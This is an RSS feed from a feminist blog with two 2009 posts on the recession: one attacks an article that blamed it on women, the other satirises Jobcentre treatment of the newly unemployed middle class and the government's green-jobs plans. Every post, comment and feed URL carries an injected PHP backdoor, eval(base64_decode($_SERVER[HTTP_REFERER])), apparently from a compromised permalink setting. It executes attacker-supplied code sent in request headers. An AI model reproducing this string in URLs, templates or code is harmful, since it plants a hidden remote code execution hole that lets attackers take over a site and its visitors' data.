FemAcadem » The Recession http://www.femacadem.net blogging in a confused, exploratory feminist kinda way..... Mon, 07 Jun 2010 07:26:55 +0000 http://wordpress.org/?v=2.8.6 en hourly 1 Oh the stupidity http://www.femacadem.net/2009/02/26/oh-the-stupidity/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.femacadem.net/2009/02/26/oh-the-stupidity/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 26 Feb 2009 21:26:50 +0000 Suzi http://www.femacadem.net/?p=210 So, somewhat predictable some idiot has gone and blamed the recession on women. Seeing as reading the article itself has caused my brain to actually explode due to a) The sheer, unadulterated misogyny of it, and b) The total lack of any grasp of economics the afore mentioned idiot has, I’m not going to try and deconstruct it.

I’m just going to reccomend you go and read Louise at The F Word quite thouroughly demolishing his argument. And then I reccomend you join me and the FemAcadem team at Million Women Rise on March 7th and help ensure idiots like the above don’t get to spread their hatred to far. Opinions like that, help a culture where violence against women is acceptable, and Million Women Rise gives women and their allies a chance to have their say in a public space.

]]> http://www.femacadem.net/2009/02/26/oh-the-stupidity/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Rescue package for the green middle class http://www.femacadem.net/2009/02/26/rescue-package-for-the-green-middle-class/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.femacadem.net/2009/02/26/rescue-package-for-the-green-middle-class/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 26 Feb 2009 21:14:16 +0000 andieberry http://www.femacadem.net/?p=200 So the economic doom and gloom continues, more high street stores closing, pieces of companies being sold off and the downturn apparently hasn’t even bottomed out yet. According to government statistics for January, the number of job vacancies were 179,000 with the benefits claiming count coming in at 1.23 million and this months figures set to be even worse.
The jobcentre has to move with the times, its not just dealing with underclass ,job dodging scum like me anymore. No the middle class are out of work now ..eek.. quick scrub those fake jobs off the computers that lie about how many job vacancies there actually are, give the security guards nicer uniforms and call them greeters, get a cappuccino machine in here and for gods sake  give them their own floor so we can keep them from mixing with those benefit culture lot.
How can Jobcentre Plus possibly find vacancies for the middle-class professional?  Their bosses reply “We’ll outsource and get an agency in to deal with these highly skilled professionals”. Crikey we wouldn’t want any intelligent sorts on the bottom of the economic heap now would we?  Especially ones with a posh accent, it just wouldn’t do.

Then Mr Brown pipes up-  “lets get this green low carbon industry going that’ll get us out of this pickle!” . Reskill and everything will be grand. Firstly, I was at an MPs question time last October when Ed Vaisey and Andrew Smith were directly asked if green technology was still going to be implemented in light of the coming recession and  both of them said that plans would have to be shelved. Secondly where the hell is all this surplus of cash coming from, if its from reserves then why the hell wasn’t it put into public services? In light of the tragic Baby P case didn’t it show that social workers were under intense staffing pressures and that children were being abused/murdered and it was missed because of lack of resources?  Thirdly ,who will be re skilled to do these ‘green’ jobs? Manual workers, or the newly out of work middle class ?

Well of course in my opinion,  it’s the middle class. Have the  postmateralistic values of the middle class actually led to the reduction of their economic earning potential? After all if you have a ‘green’  collar job a new status is attached and just as the banker had a champagne lifestyle won`t the new green collar professional lead a elderflower wine lifestyle?

The goverment are bailing out the middle classes and still ignoring the working class. In the current climate there is a chance to look at benefit traps and the scrappy amount people on benefits have to survive on. Will the goverment reform the welfare state? Only if enough of the middle classes are out of work.

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